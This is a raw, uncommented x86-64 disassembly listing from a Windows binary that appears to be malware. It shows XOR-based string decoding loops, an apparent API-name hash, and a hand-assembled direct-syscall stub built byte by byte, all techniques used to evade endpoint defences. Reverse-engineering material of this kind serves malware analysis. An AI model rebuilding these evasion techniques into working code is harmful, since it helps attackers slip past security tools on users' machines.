mov rcx, qword [rsp + 0x13d8]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2930], eax
mov eax, dword [rsp + 0x11c]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2930]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x11c]
mov rdx, qword [rsp + 0x13d8]
mov byte [rdx + rcx], al
jmp 0x140141f4c
mov rax, qword [rsp + 0x13d8]
mov qword [rsp + 0xa9a0], rax
lea rdx, [rsp + 0x1191c]
lea rcx, [rsp + 0x38e]
call fcn.1400ab050
mov qword [rsp + 0x13e0], rax
mov eax, 1
imul rax, rax, 9
mov rcx, qword [rsp + 0x13e0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140142008
mov dword [rsp + 0xc64], 1
jmp 0x140142013
mov dword [rsp + 0xc64], 0
movzx eax, byte [rsp + 0xc64]
test eax, eax
je 0x140142095
mov dword [rsp + 0x120], 0
jmp 0x14014203c
mov eax, dword [rsp + 0x120]
inc eax
mov dword [rsp + 0x120], eax
cmp dword [rsp + 0x120], 0xa
jge 0x140142095
movsxd rax, dword [rsp + 0x120]
mov rcx, qword [rsp + 0x13e0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2934], eax
mov eax, dword [rsp + 0x120]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2934]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x120]
mov rdx, qword [rsp + 0x13e0]
mov byte [rdx + rcx], al
jmp 0x14014202c
mov rax, qword [rsp + 0x13e0]
mov qword [rsp + 0xa9a8], rax
lea rdx, [rsp + 0xd568]
lea rcx, [rsp + 0x38f]
call fcn.1400aaf90
mov qword [rsp + 0x13e8], rax
mov eax, 1
imul rax, rax, 4
mov rcx, qword [rsp + 0x13e8]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1401420e8
mov dword [rsp + 0xc68], 1
jmp 0x1401420f3
mov dword [rsp + 0xc68], 0
movzx eax, byte [rsp + 0xc68]
test eax, eax
je 0x140142175
mov dword [rsp + 0x124], 0
jmp 0x14014211c
mov eax, dword [rsp + 0x124]
inc eax
mov dword [rsp + 0x124], eax
cmp dword [rsp + 0x124], 5
jge 0x140142175
movsxd rax, dword [rsp + 0x124]
mov rcx, qword [rsp + 0x13e8]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2938], eax
mov eax, dword [rsp + 0x124]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2938]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x124]
mov rdx, qword [rsp + 0x13e8]
mov byte [rdx + rcx], al
jmp 0x14014210c
mov rax, qword [rsp + 0x13e8]
mov qword [rsp + 0xa9b0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa9b8], rax
mov rax, qword [rsp + 0xa9a0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa9a8]
mov r8, qword [rsp + 0x1108]
mov rdx, qword [rsp + 0xa9b0]
mov rcx, qword [rsp + 0xa9b8]
call fcn.1400f3c50
mov qword [rsp + 0x1438], rax
cmp qword [rsp + 0x1438], 0
jne 0x1401421e4
mov byte [rsp + 0x70], 0
jmp 0x140158cee
lea rdx, [rsp + 0x11912]
lea rcx, [rsp + 0x390]
call fcn.1400ad6c0
mov qword [rsp + 0x13f0], rax
mov eax, 1
imul rax, rax, 9
mov rcx, qword [rsp + 0x13f0]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140142227
mov dword [rsp + 0xc6c], 1
jmp 0x140142232
mov dword [rsp + 0xc6c], 0
movzx eax, byte [rsp + 0xc6c]
test eax, eax
je 0x1401422b4
mov dword [rsp + 0x128], 0
jmp 0x14014225b
mov eax, dword [rsp + 0x128]
inc eax
mov dword [rsp + 0x128], eax
cmp dword [rsp + 0x128], 0xa
jge 0x1401422b4
movsxd rax, dword [rsp + 0x128]
mov rcx, qword [rsp + 0x13f0]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x293c], eax
mov eax, dword [rsp + 0x128]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x293c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x128]
mov rdx, qword [rsp + 0x13f0]
mov byte [rdx + rcx], al
jmp 0x14014224b
mov rax, qword [rsp + 0x13f0]
mov qword [rsp + 0xa9c0], rax
lea rdx, [rsp + 0x11908]
lea rcx, [rsp + 0x391]
call fcn.1400ad660
mov qword [rsp + 0x13f8], rax
mov eax, 1
imul rax, rax, 9
mov rcx, qword [rsp + 0x13f8]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140142307
mov dword [rsp + 0xc70], 1
jmp 0x140142312
mov dword [rsp + 0xc70], 0
movzx eax, byte [rsp + 0xc70]
test eax, eax
je 0x140142394
mov dword [rsp + 0x12c], 0
jmp 0x14014233b
mov eax, dword [rsp + 0x12c]
inc eax
mov dword [rsp + 0x12c], eax
cmp dword [rsp + 0x12c], 0xa
jge 0x140142394
movsxd rax, dword [rsp + 0x12c]
mov rcx, qword [rsp + 0x13f8]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2940], eax
mov eax, dword [rsp + 0x12c]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2940]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x12c]
mov rdx, qword [rsp + 0x13f8]
mov byte [rdx + rcx], al
jmp 0x14014232b
mov rax, qword [rsp + 0x13f8]
mov qword [rsp + 0xa9c8], rax
lea rdx, [rsp + 0xd577]
lea rcx, [rsp + 0x392]
call fcn.1400ad5e0
mov qword [rsp + 0x1400], rax
mov eax, 1
imul rax, rax, 4
mov rcx, qword [rsp + 0x1400]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1401423e7
mov dword [rsp + 0xc74], 1
jmp 0x1401423f2
mov dword [rsp + 0xc74], 0
movzx eax, byte [rsp + 0xc74]
test eax, eax
je 0x140142474
mov dword [rsp + 0x130], 0
jmp 0x14014241b
mov eax, dword [rsp + 0x130]
inc eax
mov dword [rsp + 0x130], eax
cmp dword [rsp + 0x130], 5
jge 0x140142474
movsxd rax, dword [rsp + 0x130]
mov rcx, qword [rsp + 0x1400]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2944], eax
mov eax, dword [rsp + 0x130]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2944]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x130]
mov rdx, qword [rsp + 0x1400]
mov byte [rdx + rcx], al
jmp 0x14014240b
mov rax, qword [rsp + 0x1400]
mov qword [rsp + 0xa9d0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa9d8], rax
mov rax, qword [rsp + 0xa9c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa9c8]
mov r8, qword [rsp + 0x1108]
mov rdx, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0xa9d8]
call fcn.1400f3c50
mov qword [rsp + 0x5f60], rax
cmp qword [rsp + 0x5f60], 0
jne 0x1401424e3
mov byte [rsp + 0x70], 0
jmp 0x140158cee
lea rdx, [rsp + 0x1335a]
lea rcx, [rsp + 0x393]
call fcn.1400a2ce0
mov qword [rsp + 0x1408], rax
mov eax, 1
imul rax, rax, 0x14
mov rcx, qword [rsp + 0x1408]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140142526
mov dword [rsp + 0xc78], 1
jmp 0x140142531
mov dword [rsp + 0xc78], 0
movzx eax, byte [rsp + 0xc78]
test eax, eax
je 0x1401425b3
mov dword [rsp + 0x14c], 0
jmp 0x14014255a
mov eax, dword [rsp + 0x14c]
inc eax
mov dword [rsp + 0x14c], eax
cmp dword [rsp + 0x14c], 0x15
jge 0x1401425b3
movsxd rax, dword [rsp + 0x14c]
mov rcx, qword [rsp + 0x1408]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2948], eax
mov eax, dword [rsp + 0x14c]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2948]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x14c]
mov rdx, qword [rsp + 0x1408]
mov byte [rdx + rcx], al
jmp 0x14014254a
mov rax, qword [rsp + 0x1408]
mov qword [rsp + 0xa9e0], rax
lea rdx, [rsp + 0x13345]
lea rcx, [rsp + 0x394]
call fcn.1400ad780
mov qword [rsp + 0x1410], rax
mov eax, 1
imul rax, rax, 0x14
mov rcx, qword [rsp + 0x1410]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x140142606
mov dword [rsp + 0xc7c], 1
jmp 0x140142611
mov dword [rsp + 0xc7c], 0
movzx eax, byte [rsp + 0xc7c]
test eax, eax
je 0x140142693
mov dword [rsp + 0x134], 0
jmp 0x14014263a
mov eax, dword [rsp + 0x134]
inc eax
mov dword [rsp + 0x134], eax
cmp dword [rsp + 0x134], 0x15
jge 0x140142693
movsxd rax, dword [rsp + 0x134]
mov rcx, qword [rsp + 0x1410]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x294c], eax
mov eax, dword [rsp + 0x134]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x294c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x134]
mov rdx, qword [rsp + 0x1410]
mov byte [rdx + rcx], al
jmp 0x14014262a
mov rax, qword [rsp + 0x1410]
mov qword [rsp + 0xa9e8], rax
lea rdx, [rsp + 0xd572]
lea rcx, [rsp + 0x395]
call fcn.1400ad720
mov qword [rsp + 0x1418], rax
mov eax, 1
imul rax, rax, 4
mov rcx, qword [rsp + 0x1418]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1401426e6
mov dword [rsp + 0xc80], 1
jmp 0x1401426f1
mov dword [rsp + 0xc80], 0
movzx eax, byte [rsp + 0xc80]
test eax, eax
je 0x140142773
mov dword [rsp + 0x138], 0
jmp 0x14014271a
mov eax, dword [rsp + 0x138]
inc eax
mov dword [rsp + 0x138], eax
cmp dword [rsp + 0x138], 5
jge 0x140142773
movsxd rax, dword [rsp + 0x138]
mov rcx, qword [rsp + 0x1418]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2950], eax
mov eax, dword [rsp + 0x138]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2950]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x138]
mov rdx, qword [rsp + 0x1418]
mov byte [rdx + rcx], al
jmp 0x14014270a
mov rax, qword [rsp + 0x1418]
mov qword [rsp + 0xa9f0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa9f8], rax
mov rax, qword [rsp + 0xa9e0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xa9e8]
mov r8, qword [rsp + 0x1108]
mov rdx, qword [rsp + 0xa9f0]
mov rcx, qword [rsp + 0xa9f8]
call fcn.1400f3c50
mov qword [rsp + 0x728], rax
cmp qword [rsp + 0x728], 0
jne 0x140142adb
lea rdx, [rsp + 0x13330]
lea rcx, [rsp + 0x396]
call fcn.1400a2da0
mov qword [rsp + 0x1420], rax
mov eax, 1
imul rax, rax, 0x14
mov rcx, qword [rsp + 0x1420]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x14014281f
mov dword [rsp + 0xc84], 1
jmp 0x14014282a
mov dword [rsp + 0xc84], 0
movzx eax, byte [rsp + 0xc84]
test eax, eax
je 0x1401428ac
mov dword [rsp + 0x13c], 0
jmp 0x140142853
mov eax, dword [rsp + 0x13c]
inc eax
mov dword [rsp + 0x13c], eax
cmp dword [rsp + 0x13c], 0x15
jge 0x1401428ac
movsxd rax, dword [rsp + 0x13c]
mov rcx, qword [rsp + 0x1420]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2954], eax
mov eax, dword [rsp + 0x13c]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2954]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x13c]
mov rdx, qword [rsp + 0x1420]
mov byte [rdx + rcx], al
jmp 0x140142843
mov rax, qword [rsp + 0x1420]
mov qword [rsp + 0xaa00], rax
lea rdx, [rsp + 0x1336f]
lea rcx, [rsp + 0x397]
call fcn.1400a2d70
mov qword [rsp + 0x1428], rax
mov eax, 1
imul rax, rax, 0x14
mov rcx, qword [rsp + 0x1428]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1401428ff
mov dword [rsp + 0xc88], 1
jmp 0x14014290a
mov dword [rsp + 0xc88], 0
movzx eax, byte [rsp + 0xc88]
test eax, eax
je 0x14014298c
mov dword [rsp + 0x140], 0
jmp 0x140142933
mov eax, dword [rsp + 0x140]
inc eax
mov dword [rsp + 0x140], eax
cmp dword [rsp + 0x140], 0x15
jge 0x14014298c
movsxd rax, dword [rsp + 0x140]
mov rcx, qword [rsp + 0x1428]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x2958], eax
mov eax, dword [rsp + 0x140]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x2958]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x140]
mov rdx, qword [rsp + 0x1428]
mov byte [rdx + rcx], al
jmp 0x140142923
mov rax, qword [rsp + 0x1428]
mov qword [rsp + 0xaa08], rax
lea rdx, [rsp + 0xd56d]
lea rcx, [rsp + 0x398]
call fcn.1400a2d40
mov qword [rsp + 0x1430], rax
mov eax, 1
imul rax, rax, 4
mov rcx, qword [rsp + 0x1430]
movsx eax, byte [rcx + rax]
test eax, eax
je 0x1401429df
mov dword [rsp + 0xc8c], 1
jmp 0x1401429ea
mov dword [rsp + 0xc8c], 0
movzx eax, byte [rsp + 0xc8c]
test eax, eax
je 0x140142a6c
mov dword [rsp + 0x144], 0
jmp 0x140142a13
mov eax, dword [rsp + 0x144]
inc eax
mov dword [rsp + 0x144], eax
cmp dword [rsp + 0x144], 5
jge 0x140142a6c
movsxd rax, dword [rsp + 0x144]
mov rcx, qword [rsp + 0x1430]
movsx eax, byte [rcx + rax]
mov dword [rsp + 0x295c], eax
mov eax, dword [rsp + 0x144]
cdq
mov ecx, Ordinal_50
idiv ecx
mov eax, edx
add eax, 0x32
mov ecx, dword [rsp + 0x295c]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x144]
mov rdx, qword [rsp + 0x1430]
mov byte [rdx + rcx], al
jmp 0x140142a03
mov rax, qword [rsp + 0x1430]
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xaa18], rax
mov rax, qword [rsp + 0xaa00]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0xaa08]
mov r8, qword [rsp + 0x1108]
mov rdx, qword [rsp + 0xaa10]
mov rcx, qword [rsp + 0xaa18]
call fcn.1400f3c50
mov qword [rsp + 0x728], rax
cmp qword [rsp + 0x728], 0
jne 0x140142adb
mov byte [rsp + 0x70], 0
jmp 0x140158cee
mov rax, qword [rsp + 0x728]
add rax, 7
mov qword [rsp + 0x728], rax
mov r9d, 7
mov r8d, 3
mov rdx, qword [rsp + 0x1438]
mov rcx, qword [rsp + 0xa0]
call fcn.140165100
mov qword [rsp + 0x1438], rax
mov rax, qword [rsp + 0x1438]
sub rax, 8
mov qword [rsp + 0x5fd0], rax
mov r9d, 6
mov r8d, 2
mov rdx, qword [rsp + 0x5f60]
mov rcx, qword [rsp + 0xa0]
call fcn.140165100
mov qword [rsp + 0x730], rax
mov rax, qword [rsp + 0x730]
add rax, 8
mov qword [rsp + 0x1480], rax
lea rax, [rsp + 0x1480]
mov qword [rsp + 0x5f70], rax
mov rax, qword [rsp + 0x1480]
mov qword [rsp + 0x5f68], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0xaa20]
mov qword [rsp + 0xaa68], rax
cmp qword [rsp + 0x5f70], 0
je 0x140142bc7
cmp qword [rsp + 0x5f68], 0
je 0x140142bc7
xor eax, eax
cmp rax, 8
jne 0x140142bd4
mov byte [rsp + 0x99], 0
jmp 0x140143d33
lea rax, [rsp + 0xd9f8]
mov rdi, rax
xor eax, eax
mov ecx, Ordinal_41
rep stosb byte [rdi], al
mov qword [rsp + 0xd9f8], 0x33
mov rax, qword [rsp + 0x5f68]
mov qword [rsp + 0xda08], rax
mov rax, qword [rsp + 0x5f70]
mov qword [rsp + 0xda10], rax
mov qword [rsp + 0xda18], 8
mov dword [rsp + 0x29a4], 0
mov qword [rsp + 0xaa30], 0
mov qword [rsp + 0xaa38], 0x28
lea rax, [rsp + 0xd9f8]
mov qword [rsp + 0xaa40], rax
lea rax, [rsp + 0x12948]
mov qword [rsp + 0xaa48], rax
mov qword [rsp + 0xaa50], 0
mov qword [rsp + 0xaa58], 0
mov qword [rsp + 0xaa60], 0
mov dword [rsp + 0x2960], 0x9363e455
mov eax, dword [rsp + 0x2960]
mov dword [rsp + 0x2968], eax
lea rcx, [rsp + 0x2968]
call fcn.1400a2c20
mov dword [rsp + 0x61e0], eax
mov dword [rsp + 0x61e4], 0
lea rax, [rsp + 0x61e8]
mov qword [rsp + 0xaa28], rax
mov dword [rsp + 0x29a0], 0x49
mov dword [rsp + 0x299c], 0x89
mov dword [rsp + 0x2998], 0xca
mov dword [rsp + 0x2994], 0x48
mov dword [rsp + 0x2990], 0xc7
mov dword [rsp + 0x298c], 0xc0
mov dword [rsp + 0x2988], 0x3f
mov dword [rsp + 0x2984], 0x10
mov dword [rsp + 0x2980], 0
mov dword [rsp + 0x297c], 0
mov dword [rsp + 0x2978], 0xf
mov dword [rsp + 0x2974], 5
mov dword [rsp + 0x2970], 0xc3
lea rax, [rsp + 0x2970]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x2974]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2978]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x297c]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x2984]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2988]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x298c]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2990]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x2994]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2998]
lea r8, [rsp + 0x299c]
lea rdx, [rsp + 0x29a0]
mov rcx, qword [rsp + 0xaa28]
call fcn.14008f900
mov byte [rsp + 0x399], 1
mov byte [rsp + 0x39a], 0
movsxd rax, dword [rsp + 0x29a4]
mov qword [rsp + 0xaba0], rax
mov byte [rsp + 0x39b], 0
mov byte [rsp + 0x39c], 0
mov rax, qword [rsp + 0xaa30]
mov qword [rsp + 0xaba8], rax
mov byte [rsp + 0x39d], 0
mov byte [rsp + 0x39e], 1
mov rax, qword [rsp + 0xaa38]
mov qword [rsp + 0xabb0], rax
mov byte [rsp + 0x39f], 0
mov byte [rsp + 0x3a0], 0
mov rax, qword [rsp + 0xaa40]
mov qword [rsp + 0xabb8], rax
mov byte [rsp + 0x3a1], 0
mov byte [rsp + 0x3a2], 1
mov eax, dword [0x1403f9fa8]
mov qword [rsp + 0xabc0], rax
mov byte [rsp + 0x3a3], 0
mov byte [rsp + 0x3a4], 0
mov rax, qword [rsp + 0xaa48]
mov qword [rsp + 0xabc8], rax
mov byte [rsp + 0x3a5], 0
mov byte [rsp + 0x3a6], 0
mov rax, qword [rsp + 0xaa50]
mov qword [rsp + 0xabd0], rax
mov byte [rsp + 0x3a7], 0
mov byte [rsp + 0x3a8], 0
mov rax, qword [rsp + 0xaa58]
mov qword [rsp + 0xabd8], rax
mov byte [rsp + 0x3a9], 0
mov byte [rsp + 0x3aa], 0
mov rax, qword [rsp + 0xaa60]
mov qword [rsp + 0xabe0], rax
mov byte [rsp + 0x3ab], 0
mov byte [rsp + 0x3ac], 0
mov rax, qword [rsp + 0xaa68]
mov qword [rsp + 0xabe8], rax
mov eax, dword [rsp + 0x61e0]
mov dword [rsp + 0x29a8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xfcb0]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xaa70], rax
lea r8, [rsp + 0x29a8]
lea rdx, [rsp + 0x61b0]
mov rcx, qword [rsp + 0xaa70]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0xaa78], rax
lea rdx, [rsp + 0x116c8]
mov rcx, qword [rsp + 0xaa78]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x61b0]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x140142fe5
mov qword [rsp + 0x5f30], 0
jmp 0x140142ffe
lea rcx, [rsp + 0x61b0]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x5f30], rax
mov rax, qword [rsp + 0x5f30]
mov qword [rsp + 0xaa80], rax
lea rcx, [rsp + 0xfcb0]
call fcn.1400a0f10
mov rax, qword [rsp + 0xaa80]
mov qword [rsp + 0x5f78], rax
cmp qword [rsp + 0x5f78], 0
je 0x14014305b
mov rax, qword [rsp + 0x5f78]
mov eax, dword [rax + 4]
mov dword [rsp + 0x29b0], eax
mov eax, dword [rsp + 0x29b0]
mov dword [rsp + 0x61e4], eax
jmp 0x140143ae9
lea rax, [rsp + 0xd530]
mov qword [rsp + 0xaa88], rax
xor edx, edx
mov rcx, qword [rsp + 0xaa88]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x29b4], eax
lea rax, [rsp + 0xd534]
mov qword [rsp + 0xaa90], rax
mov edx, dword [rsp + 0x61e0]
mov rcx, qword [rsp + 0xaa90]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x29b8], eax
mov eax, dword [rsp + 0x29b4]
mov dword [rsp + 0xc98], eax
mov eax, dword [rsp + 0x29b8]
mov dword [rsp + 0xcb0], eax
xor edx, edx
lea rcx, [rsp + 0x29bc]
call fcn.14009b2f0
lea rdx, [rsp + 0x29bc]
lea rcx, [rsp + 0xcb0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x140143108
mov qword [rsp + 0x1448], 0
jmp 0x140143a07
mov byte [rsp + 0x3ad], 1
mov qword [rsp + 0x6a00], 0
mov qword [rsp + 0x6a08], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x4028], rax
mov eax, 1
test eax, eax
je 0x14014315a
mov rax, qword [rsp + 0x4028]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x5f80], rax
jmp 0x14014316d
mov rax, qword [rsp + 0x4028]
mov rax, qword [rax]
mov qword [rsp + 0x5f80], rax
mov rax, qword [rsp + 0x5f80]
mov qword [rsp + 0x6a00], rax
mov rax, qword [rsp + 0x4028]
mov qword [rsp + 0x6a08], rax
lea rax, [rsp + 0x6a00]
mov qword [rsp + 0x5f88], rax
lea rdx, [rsp + 0x1440]
mov rcx, qword [rsp + 0x5f88]
call fcn.14018efb0
lea rdx, [rsp + 0xaa98]
mov rcx, qword [rsp + 0x5f88]
call fcn.140190a30
jmp 0x1401431dc
mov rax, qword [rsp + 0x1440]
mov rax, qword [rax]
mov qword [rsp + 0x1440], rax
mov rax, qword [rsp + 0xaa98]
cmp qword [rsp + 0x1440], rax
je 0x1401431fb
mov dword [rsp + 0xc90], 1
jmp 0x140143206
mov dword [rsp + 0xc90], 0
movzx eax, byte [rsp + 0xc90]
test eax, eax
je 0x1401439fb
xor edx, edx
mov rcx, qword [rsp + 0x1440]
call fcn.140096d90
mov qword [rsp + 0xaaa0], rax
lea rax, [rsp + 0xaaa0]
mov qword [rsp + 0x5f90], rax
xor edx, edx
lea rcx, [rsp + 0x29c0]
call fcn.14009b2f0
lea rdx, [rsp + 0x29c0]
lea rcx, [rsp + 0xc98]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x1401434a6
mov rax, qword [rsp + 0x5f90]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0xaaa8], rax
lea rdx, [rsp + 0x12958]
mov rcx, qword [rsp + 0xaaa8]
call fcn.14019acf0
lea rcx, [rsp + 0xfcc0]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xc98]
mov dword [rsp + 0x29c4], eax
lea rax, [rsp + 0xd350]
lea rcx, [rsp + 0xfcc0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x29c4]
mov dword [rsp + 0xca0], eax
lea rax, [rsp + 0x29c8]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x29c8]
call fcn.14009b310
mov qword [rsp + 0xaab0], rax
lea rax, [rsp + 0xfcd0]
lea rcx, [rsp + 0xd350]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfce0]
lea rcx, [rsp + 0xfcd0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfce0]
mov rcx, qword [rsp + 0xaab0]
call fcn.140097890
mov dword [rsp + 0x29d0], eax
lea rcx, [rsp + 0xd350]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0xaab8], rax
mov r9, qword [rsp + 0xaab8]
xor r8d, r8d
lea rdx, [rsp + 0xfcf0]
lea rcx, [rsp + 0xd350]
call fcn.14019ab70
lea rax, [rsp + 0x29cc]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x29cc]
call fcn.14009b310
mov qword [rsp + 0xaac0], rax
lea rax, [rsp + 0xfd00]
lea rcx, [rsp + 0xfcf0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xfd10]
lea rcx, [rsp + 0xfd00]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xfd10]
mov rcx, qword [rsp + 0xaac0]
call fcn.140097890
mov dword [rsp + 0x29d8], eax
mov edx, dword [rsp + 0x29d0]
lea rcx, [rsp + 0x29d4]
call fcn.14009b2f0
lea rdx, [rsp + 0x29d4]
lea rcx, [rsp + 0xca0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014348a
mov edx, dword [rsp + 0x29d8]
lea rcx, [rsp + 0x29dc]
call fcn.14009b2f0
lea rdx, [rsp + 0x29dc]
lea rcx, [rsp + 0xca0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x14014348a
mov dword [rsp + 0xca8], 1
jmp 0x140143495
mov dword [rsp + 0xca8], 0
movzx eax, byte [rsp + 0xca8]
test eax, eax
je 0x1401434a6
jmp 0x1401431c9
mov rax, qword [rsp + 0x5f90]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x5f98], rax
mov rax, qword [rsp + 0x5f98]
mov qword [rsp + 0x4518], rax
mov rax, qword [rsp + 0x5f98]
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0xaac8]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0xaad0], rax
mov rax, qword [rsp + 0xaad0]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0xaad8], rax
mov eax, dword [rsp + 0xaad8]
add rax, qword [rsp + 0x4518]
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0xaae0]
mov qword [rsp + 0x4520], rax
lea rdx, [rsp + 0xcb0]
lea rcx, [rsp + 0xd538]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11ea8]
lea rcx, [rsp + 0x4518]
call fcn.140097040
lea rdx, [rsp + 0x13a10]
lea rcx, [rsp + 0x4518]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11ea8]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140143592
jmp 0x1401431c9
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140143615
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
